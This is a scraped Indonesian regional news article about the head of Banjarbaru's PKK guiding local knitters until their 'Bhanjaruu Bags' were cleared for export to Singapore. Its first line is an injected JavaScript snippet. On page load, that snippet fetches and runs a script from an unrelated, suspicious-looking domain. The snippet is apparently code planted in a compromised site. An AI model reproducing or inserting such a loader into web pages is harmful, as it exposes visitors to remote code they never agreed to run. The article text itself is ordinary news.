(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Keseriusan, kegigihan, dan ketelatenan Ketua Tim Penggerak PKK Banjarbaru, Vivi Mar’i Isa Zubedi dalam menciptakan industri ekonomi kreatif (ekraf) berstandar internasional di Kota Banjarbaru, langsung membuahkan hasil.
Tak menunggu lama, “Bhanjaruu Bags” sebuah produk baru, tas rajut asli buatan pengrajin rajut Kota Banjarbaru, dinyatakan lolos ekspor ke negeri Merlion, Singapura.
“Alhamdulillah Tabarakallah, ini kabar yang sangat menggembirakan bagi kita semua. Insyaallah, keberhasilan ini menjadi langkah besar kita untuk juga memperkenalkan Banjarbaru sebagai salah kota produksi rajutan ke level internasional,” ungkap istri Wali Kota Banjarbaru Aditya Mufti Ariffin yang familiar disapa Vivi Zubedi tersebut.
Diketahui, sejak mengemban amanah sebagai Ketua TP PKK dan Ketua Dekranasda Kota Banjarbaru, akhir Februari lalu, Vivi Zubedi sangat concern dalam menggali dan mencari potensi besar yang bisa dikembangkan untuk Kota Banjarbaru.
“Ketika awal masuk, saya melihat Banjarbaru tidak mempunyai kerajinan khas yang terkelola dengan baik. Bahkan, ketika saya minta data, apa dan dimana saja titik-titik kerajinan khas di Kota Banjarbaru? Kita tidak punya data yang terstruktur,” terang desainer kenyang pengalaman internasional ini.
Dari situlah, Vivi mendorong dinas terkait untuk bekerja lebih serius. Tidak sekadar seremonial atau peresmian-peresmian semata. Bersama dinas terkait, Vivi turun ke lapangan untuk jemput bola. Mencari dan menggali potensi yang bisa dikembangkan.
“Alhamdulillah kita menemukan sejumlah warga yang memiliki keahlian. Salah satunya keahlian merajut,” ujarnya.
Sayangnya, sesal Vivi, selama ini pengrajin-pengrajin itu tidak terkelola dengan benar. Mereka bekerja sendiri-sendiri, menjual produk dengan berjuang sendiri, bahkan tidak memiliki ‘tujuan’ dalam merajut.
“Mereka merajut, tapi tidak tahu arah produk yang ingin dituju. Mereka juga jalan sendiri-sendiri, sehingga tidak terbentuk ekosistem ekonomi. Padahal mereka punya kemampuan besar,” ungkap ibu tiga anak, pemilik brand besar busana muslimah VZ atau Vivi Zubedi itu.
Dengan kemampuan sebagai seorang desainer yang karya dan dedikasi yang sudah diakui secara internasional, juga seorang praktisi ekonomi kreatif, Vivi lalu terinspirasi ingin potensi karya rajut yang ada supaya go internasional.
Vivi mengumpulkan para pengrajin yang selama ini bekerja sendiri-sendiri itu ke sebuah komunitas. Selanjutnya pengrajin-pengrajin tersebut diberinya penataran. Mulai pemilihan warna, hingga arah desain yang dibuat.
“Untuk Bhanjaruu Bags ini, saya arahkan desainnya ke konsep Bohemian Style. Pangsanya bagus di level internasional,” ujarnya.
Tak cukup sampai di situ. Untuk pembinaan berkelanjutan, Vivi bahkan membuka ruang konsultasi online 24 jam melalui WA Group yang dibuat khusus untuk para pengrajin berdiskusi. Vivi pula yang merintis jalan agar produk yang dihasilkan bisa tembus ke pasar internasional.
“Alhamdulillah, kerjasama yang baik itu mulai berbuah manis. Tas rajut Bhanjaruu Bags yang dihasilkan lolos untuk ekspor ke Singapura. Sebetulnya ada satu karya lagi, tapi nanti saja kita infokan lagi,” lanjut Vivi Zubedi.
Dengan keberhasilan ini, Vivi berharap bisa membantu menaikkan perekonomian masyarakat pengrajin, terlebih di massa pandemi.
“Dan Insyaallah, kita mampu mengglobalkan produk-produk lokal dengan penerapan ekosistem ekonomi syariah, bekerja bersama-sama. Insyaallah,” tutupnya. (kanalkalimantan.com/dewi)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.